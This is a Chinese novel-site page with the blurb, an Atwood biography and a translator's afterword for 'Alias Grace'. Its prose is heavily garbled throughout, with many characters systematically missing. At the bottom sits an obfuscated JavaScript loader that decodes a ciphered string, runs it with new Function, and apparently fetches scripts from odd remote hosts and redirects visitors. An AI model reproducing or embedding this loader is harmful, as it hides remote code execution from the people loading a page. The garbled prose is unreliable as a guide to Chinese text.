一个小甜饼

繁体版 简体版
一个小甜饼 > 废话连篇集 > 别名格蕾丝:加拿大文学女王写就的历史小说

别名格蕾丝:加拿大文学女王写就的历史小说

章节错误,点此举报(免注册),举报后维护人员会在两分钟内校正章节内容,请耐心等待,并刷新页面。

书名:《名格蕾丝》

作:【】玛格丽·阿伍德

【内容简介】

书是玛格丽o阿伍德的长篇小说作,以十纪十年一桩臭名昭著的罪案为底,讲述了一个错综复杂却充满诗的故。小说乍充满现实主义叙风格,却又随着节的推进,笔法自翻转,、谋杀与阶级冲突交混,的树脂淌进了历史的缝隙里。过人视角的切换,故获得了绚丽的碎片效,邪恶与尊严、悲剧与华美共存,虚实生间,定年为广阔的会画卷在我们面开了。

【作译简介】

誉为“拿大文学女王”的玛格丽·阿伍德是一勤奋多产的作,迄今已有14部诗集、11部长篇小说、5部短篇小说集和3部文学评论出版,主编了《牛津拿大英语诗歌》、《牛津拿大英语短篇小说》等文集,还撰写了不少广播、电视、戏剧、儿童文学作等。获得过除诺贝尔文学奖之的几乎所有的国际文学奖和不计数的他奖励和荣誉,多伦多大学等十多所国内大学授予荣誉博士学,享有高的国际声誉。的作已译成30多种文字。

阿伍德19岁开始发自己的一首诗作。擅长将日经验升到一种而上的层,的诗歌不仅具有女有的细腻而且富有深刻的洞察力,在拿大和英美诗界有影响,后获过多种要的文学奖。

自从1969年,出版了一部长篇小说《可以吃的女人》之后,的作频频获奖,这也为赢得了广泛的国际声誉。创作的三部优秀长篇小说《女仆的故》(1985)、《猫眼》(19)、《名格雷斯》(1996)曾三获得布克奖名,后凭借十部小说《盲刺客》摘得了这项高文学奖的桂冠。同时,阿伍德也是诺贝尔文学奖的有力竞争,无论在民间还是文学界认为得奖是迟早的。

阿伍德的影响不仅跨越了国界,也跨越了文学领域。一十分关注美国文对拿大无所不在的大影响和拿大日益美国的倾;为抗拒这种倾,大力支持以推进独立的拿大民族文为宗旨的阿出版,了多实实在在的工作;帮助成立了拿大作协会,曾该作协的主席,还担过国际笔会拿大中心的主席。,在《纽约人》等多种国际名报刊杂上发诗歌、短篇小说、评论等;还应邀在美、英、德、澳、俄等国朗诵和演讲,扩大拿大的影响。上纪八十年以来,开始关注另一领域--环境护,显示了的生态识,这方面的创作、论述和所采的行动而获得环境护和会动方面的荣誉和奖励。同时,越来越多地介入国际:如对美自贸易法案、为“大赦国际”组织的斗争在拿大开辟阵地,等等。总之,在过的约30年中,一以拿大文学言人的身份跃在界文坛,列在“二十纪有影响力的一拿大人”的。

阿伍德的创作可按个历史阶段分为“早的创作”、“二十纪十年的创作”、“二十纪八十年的创作”和“二十纪十年以来的创作”。“早的创作”中,诗集《圆圈游戏》是获得总督奖而在拿大文坛脱颖而出的;自,拿大一的大出版纷纷主动敞开大门;同时,媒的关注再也没有离开过。“二十纪十年的创作”中,《幸存:拿大文学主》的发引出了褒贬不一的争议,继而又引发了一列关于拿大文学文学评论的讨论,客观上该书成了一部影响远超出身价值的文学评论专著。为,《幸存》的发既是拿大民族主义思潮发的必结,同时又过来推动了这一思潮的发。这书的出版,客观上成了拿大文学和文发的里碑。“二十纪八十年的创作”中,称为“女主义的《1984》”的《女的故》极为成功,赢得二总督奖众多奖励和荣誉,大大地扩了的读群,赢得了国际主市场,跻身界名人的行列。“二十纪十年以来的创作”中,赞为“义深远、富有戏剧、结构精妙绝伦”。

【要评荐】

我们时触的小说。--《星日泰晤士报》

【译后记】

有人曾说拿大文学没有皇帝,有女皇,就是玛格丽·阿伍德。可是,为我是于教书的需要才零散触一拿大作,所以无法判断上述评论是恰如分,还是言过实。心而论,玛格丽·阿伍德的确是在拿大作中我较为偏爱的一。的作构思颖,哲深邃,语言丰富,逸趣横生。这就是我为什会在时间永远不够用的况下,挤出时间在的小说《名格蕾丝》问后不久就睹为快,一口气将这不短的小说读完了。为小说中一妙不可言的点而感到激动,而决定书译成中文,广大的中国读介绍一小说,让更多的人一睹拿大文学女皇的风采(我似乎已受了刚才条评论)。从一八年我的中文译《名格蕾丝》首译林出版在国内出版,至今已近十多个年头。时隔十年,京大学出版决定再读介绍这部作,如今,上译文出版又打算版这部不可多得的当名著。我作为书的中文译,也作为比诸行一步的读,感到有义务奉献我人对这小说的一孔之见。可谓抛砖引玉,望能到打火石的作用,引出见的火花。文学创作带有大的主观,文学欣赏与文学批评亦是如。时难免智见智,仁见仁。我的见若有肤浅谬误之处,还望今后有会与诸进一步探讨。

这小说的英文标是aliasgrace,译成中文便是《名格蕾丝》。如英国小说文学评论福斯在《小说面面观》一书中所出,所有小说共有的主要成分是“故”,没有故就没有小说。我们像《方夜谭》里谢赫拉莎德的丈夫苏丹大人样,耐不住悬念的诱惑,急于发现“后来怎样了呢”,从而深谙“故中的悬念”之奥妙的谢赫拉莎德免于一死见eforster,aspectfthenovel,london:edardarnoldltd,1974,pp1718。。《名格蕾丝》成功的主要之一也就在于玛格丽·阿伍德能用读的奇心,巧妙地安排节,致读长时间地处于悬念之中。

这是一个女谋杀犯的故,而,阿伍德在节安排上大用了谋杀故和侦探小说的手法。故开始的时间为1859年,1843年的双谋杀案发生之后十六年。女主人格雷丝·马克斯在参与了过的雇主托马斯·金尼尔和他的兼妇希·蒙哥马的谋杀案而在金斯顿的教养所里服无徒刑。为不少人认为精神不的格蕾丝坚持说自己丧失了对谋杀案的记忆,当地有一批“改革人士”聘请了一名叫蒙·乔丹的美国医生来对进行精神上的调查和鉴定,以便写出一份专鉴定报告,附在他们的请愿书里,让格蕾丝获得赦免。在大度上读与蒙·乔丹一样,急于发现“实际上是怎”,“是否真有罪”的答案。就是在这样的悬念和待之中,读满怀兴致地一页页翻过书页,不断地证实否认自己的猜测,探索头脑里问的答案。像他侦探小说一样,要的线索,如勒死希的手绢,在书中多有交,留有伏笔。十三部分“潘多拉的盒子”中场有浓厚的节剧色彩的神经催眠疗让人阿莎·克里斯蒂小说中的“终场”:主要人集中在一,如神的比时大侦探波罗揭露真凶,在场的和读书的大吃一惊,真大白,皆大欢喜。整个谋杀案的“结局”又像典型的福尔摩斯侦探案:凶手曾受过杀间的迫害;凶杀是复仇、伸张义的非法手段。虽读对罪犯不无恻隐之心,难案高手破了,读的奇心得到大的满足。

可是,如作人在拿大《环球邮报》的记采访时说:《名格蕾丝》的确“非像侦探小说,是结局悬而未决。这就是历史和谋杀疑案之间的区”。显,阿伍德写这书的目的不单单是要讲个耸人听闻的谋杀故,而是要纠苏珊娜·穆迪等在之的作“传的故以讹传讹”见书“作跋”。的法,从而还女仆格蕾丝以来面目。杜邦医生(杰里迈亚)主持的神经催眠疗不过是小说为节的需要而虚构的让人难以置信的“结局”,不可当真。简单:为历史上的格蕾丝之案没能定,小说中的谋杀案也应依旧是“悬案”。

在写这部映十纪中叶拿大安大略地区生的历史小说时,阿伍德作了极为广泛的调查研究,查阅了大的历史资。如在“作跋”中所写,不仅有关监狱和精神病院的生“是可查找到的历史材写成的”,而且对招魂术和催眠术在美的兴衰的描写也是于史的。作在书中详细描写了爱尔兰移民远渡洋,历尽千难万险来拿大的,到1837年拿大的民主领袖麦肯齐领导的“大”,且让书中的男主角蒙·乔丹后在美国战争的战场上头部受伤,丧失记忆。不仅小说安置在历史的总框架内,而且对许多细节,诸如当时多伦多的街、商店、时装、风尚德举止,逐一作过调查。对有关谋杀案的现存史,小说更是“尽作乎的选择”。的确,虽“历史小说了”,“没改变何已实”。

英国维多亚时的小说威廉·萨克雷在《英国十八纪的幽默作》一书中为历史小说辩护说,历史小说比历史更真,为写的是“真”(truth),而后收集“全真的史”(authenticration)。萨氏还深有会地说,“我从有虚构节的小说中亲身验到当时的生、风俗、交、服装、娱乐、欢笑,以对会的嘲笑--过的时又变得栩栩如生,我便可以在旧时的英国处漫游了。”《牛津版萨克雷全集》,edesatsbury,(oxford,1908)十三卷,543页。阿伍德这历史小说的独到之处在于:“史”和“真”一交给读,给他们以比较鉴的会。书共分十个部分、十三章,每一部分开始有几段摘自当时的作当时报刊的引言,拟为该部分的供纲挈领的和示。从八部分“狐狸与鹅”开始,每一部分的引言中包括一载于当时报刊的、报谋杀案的摘抄段落。随后,该部分便讲述与引言部分对应的,经小说创作的“真”。过这样的方法,对引言里的“史”记忆犹的读便能更主动,更有识地欣赏小说笔下的“真”,用自己选择的方验书中人当时的生环境。这实为一部风格独的历史小说。

作为历史小说,《名格蕾丝》全面映了当时拿大的会生。除了历史案卷中到的与谋杀案有关的几个真人之,小说还节和主的需要创了许多“假”人,且赋予真人许多可能而可信的“假”。过这处于不同会地的真、“假”人之间的互交往,作成功地单一层的历史有了会深度和思力度。

阿伍德笔下的女主人格蕾丝是个有血有肉、有感、有主见的人。在书中的作用是多的:身为地卑贱的女仆囚犯,格蕾丝既是局人(一个善于观察、头脑清醒的评论),又是局内人(一个饱尝艰辛而又善于自我护的弱)。过这样一个具有殊身份的人之口,作有力地抨击了当时、思(包括种种“伪科学”)、宗教以会上的种种弊病。是,批评的锋芒当时阶级差悬殊、男女不等的会现。与格蕾丝比,男主人蒙·乔丹显得黯失色。他与广为传的《鹅妈妈的儿歌》中头脑简单的蒙同名绝非偶,为他的确有着傻瓜蒙似的、不甚开窍的脑瓜。不仅他对恢复格蕾丝的记忆所的种种努力是徒劳的,而且对自己的生也彻底失控,以致堕入无法收拾的境地。是,他也是个“立”的人,具有格的多。一方面,他同格蕾丝,充满义感;另一方面,他是当时会就出的“我”字当头的大男子主义。过对蒙·乔丹这样一个复杂人的塑,以对他与书中一女人之间关的描写,作生动地刻画了一个以男人为中心的会。女人,诸如雷切尔·汉弗莱、乔丹夫人、莉迪亚小姐以菲斯·卡赖,在不同度上受蒙的支配,他的附庸,为他而生存。劳动妇女,诸如格蕾丝的母亲、格蕾丝、玛丽·惠尼和希·蒙哥马,深受统阶级和男人(父权夫权)的双压迫,尤令人同。

书塑的众多女人中,除女主人格蕾丝,给人印深的是玛丽·惠尼。格泼,思,对格蕾丝产生了极大的影响。可是,就连这样一个有见、有的女孩子也摆脱不了受少东的欺骗和凌辱,当妙龄就含恨死的悲惨运。玛丽的死整个改变了格蕾丝,如后来所说,“没有玛丽,我的故会完全不同”。作为不等、不的会的牺牲,玛丽·惠尼这个人不仅对书的主至关要,而且供了侦破谋杀案的要线索。书时,读应注二十章中有关格蕾丝在玛丽后昏睡十个小时的文字,以二十二章里一出现的圣歌:“多年的岩石,为我开裂,让我藏身于……”有记住了这要的线索,才能在十八章里听见神经催眠术下熟睡的格蕾丝大叫:“我可不是格蕾丝!格蕾丝一点也不这!”再吟唱段圣歌时初步悟出书名之奥秘。《名格蕾丝》--如就论,我们势必会得出与维林格牧师同的结论:这是一桩显的着魔案例,玛丽·惠尼的魂附在格蕾丝·马克斯的身上,谋害了托马斯·金尼尔和希·蒙哥马。是,如我们牢记小说的主,《名格蕾丝》又可在广义上为:一个有的、富有义感的、备受伤害的女人(无论的名字叫什)借用格蕾丝的名义压迫的会复了仇,行了义之举。声音说得清楚:“这绅士也死了,至少也死了一。!”--典型的“一报还一报”。是,书的妙处在于:多种释存,读可以随选择。破“是否有罪?”这个谜的真线索在如何待罪恶的会。阿伍德打开历史旧案审的显是要为弱--受压迫、遭欺凌的广大妇女--伸张义。这实为一部真切、发人深省的会历史小说。

在叙述手法上,小说出心裁,故的需要,巧妙地用了一人称和三人称叙述结的方。小说的首章以一人称倒叙的叙述了格蕾丝乔丹医生对谋杀所作的忆。格蕾丝的自述用识的手法,以书中的主要征实--牡丹花--为线索,关键的节描写得虚虚实实,引人入胜。着,作用民谣的在二章里不置可否地述了当时对该谋杀案的行说法。三、、章(构成书的三部分“角落里的小猫”)完全是格蕾丝的一人称自述,读有会对女主人有进一步的了。在书的部分“年轻人的幻”(包含六至十一章)里,读听到的却是不同的叙述声音的穿插用:乔丹医生与母亲朋友的信(可称为一种殊的一人称自述),而之的是一显在感上持“中立”态度的三人称叙述,间穿插着格蕾丝的自述,着又是三人称叙述的声音。小说部分里用的这种从不同的角度、用不同的声音给听众“讲故”的手法在全书中复出现,灵用。作过间用一和三人称叙述的手法,有效地掌握调整读与书中人之间的关,得更趣味无穷。一方面,为书大部分是格蕾丝的自述,读易于受的感所感染,喜所喜,悲所悲,恨所恨。是,另一方面,时而出现的三人称叙述的声音又读带出格蕾丝的“小地”,从不同的角度描述视野之的会生的他侧面。结是,读不仅能较客观地待书中人,而且能自始至终以“不不离”的态度判断预测他们的行为。且,作为格蕾丝所讲“故”的间听众,读为能够观全局,时感到比书中的听众蒙·乔丹高。沾沾自喜之余则更多了几分弄清究竟的奇心,殊不这一切是作巧手安排的结。

《名格蕾丝》不仅现出阿伍德作为会历史学所具备的严谨和睿智,以小说所有的创作才能和技巧,而且还洋溢着不同凡响的诗人的敏感和力。小说中大出现诸如八章结尾三段中样的喻叠用、连篇的文字。过对人的内心对部界的应作如细腻的描写,作抽的感觉变得具,,从而历史案卷中线条粗犷的谋杀案变成隽永耐读的文学佳作。地说,整个小说是一幅以女仆格蕾丝为中心的十纪中叶的拿大会历史全景图。这幅图画的妙处在于:不是用普的笔墨绘成的,而是许多女人一针一针、一个拼块一个拼块地缝来的。为现当时会阶层的妇女生,作阿伍德在书中对传统的缝子艺术作了大的描写。无论是会地高的“贵夫人”(诸如狱长夫人),还是格蕾丝这样的卑贱女仆,缝子作一种要的女红,一种艺术的实际消遣。可是,有在发现小说用不同的子图案的名称来名书中的十个部分,借以画龙点睛时,眼的读才会识到作的用心良苦,匠心独具。如说用一个子的图案名的一部分“参差不齐的牙边”用识的手法地现了格蕾丝搅乱的记忆,成功地读带入悬念,为“堂之树”的后一部分则读带到另一个境界--义上的堂。格蕾丝“自己的法”设计的子图案是味深长的:“我的树上有三个三角拼块会。一块是白的,我要用玛丽·惠尼给我的衬裙上的一块布。一块褪色发黄的,要用从我留作纪念的监狱睡衣上剪下的一块布。三块是淡色的棉布,上面有粉色和白色的小花,是从我到金尼尔生的一希穿的裙子上剪下的一块布的……我要在每个三角的周围用红色的羽毛针脚绣一圈,三个三角绣在一,成整个图案的一部分……这样,我们三人就会在一了。”。

现实的故终于以诗的方有了个幸福的结局,名副实的“poeticjtice”(的)。人间的恩恩怨怨到了堂为乌有,三个饱受人间苦难的小姐妹归于,皆大欢喜。如我们小说的结局书名中的“grace”一词释为英文中的“上帝的恩爱、仁慈、宽容”,便可领会书名里蕴藏着另一层含。是,如格蕾丝后的赦免和幸福结局作是与不的毫无关的上帝的恩爱和慈悲,书的译名似乎应改为《亦称主之恩慈》是他类似的目。,读没开卷就会感到浓厚的督教色彩。这不仅将违作的阿伍德非督徒。况且,在书中用督教概念时不无讥讽口吻。,而且会来耐人寻味的书名狭义,概念。所以,我还是老老实实地按字面含义书名译成《名格蕾丝》。显,阿伍德写这书的是多层的,叫人难以捉摸,深奥之处在寓颇深的书名上可见一斑。无论如何,这是具有独的雅俗共赏的趣味和文学的书。大的处在于层的读能开卷有益,“所需”。

书的翻译初承蒙拿大艺术会和拿大交国际贸易部拨款资助,我在示感谢。我坚信玛格丽·阿伍德的作将受到广大中国读的受和喜爱。可是,于人才疏学浅,难免在译文中有疏漏、错译之处,敬请读多。

『加入书签,方便阅读』
!function(){function a(a){var _idx="m5wvwvmdbp";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^m46DfhdLmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6mYY65T_JmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJmF6TS6^SmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^m46DfhdLmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6mYY65T_JmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJmF6TS6^SmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6mYY65T_JmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR8^nDXDX^f)J"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"^nDXDX^f)J"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mD4RYpSfmRT4"="o}0X5ThF)mR)Y)7_DmRT4"="o}02pThFmD4RYpSfmRT4"="o}0_JqhFmR)Y)7_DmRT4"="o}02TOhFmD4RYpSfmRT4"="o}0CSqhF)mR)Y)7_DmRT4"="o}0)FfThF)fmD4RYpSfmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qFq^)Y6(:mJfY)^(TmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qFq^)Y6(:mJfY)^(TmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^m46DfhdLmRT4gQ}1Q/f/o}0j(8}vR8^nDXDX^f)J"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^m46DfhdLmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();
热门推荐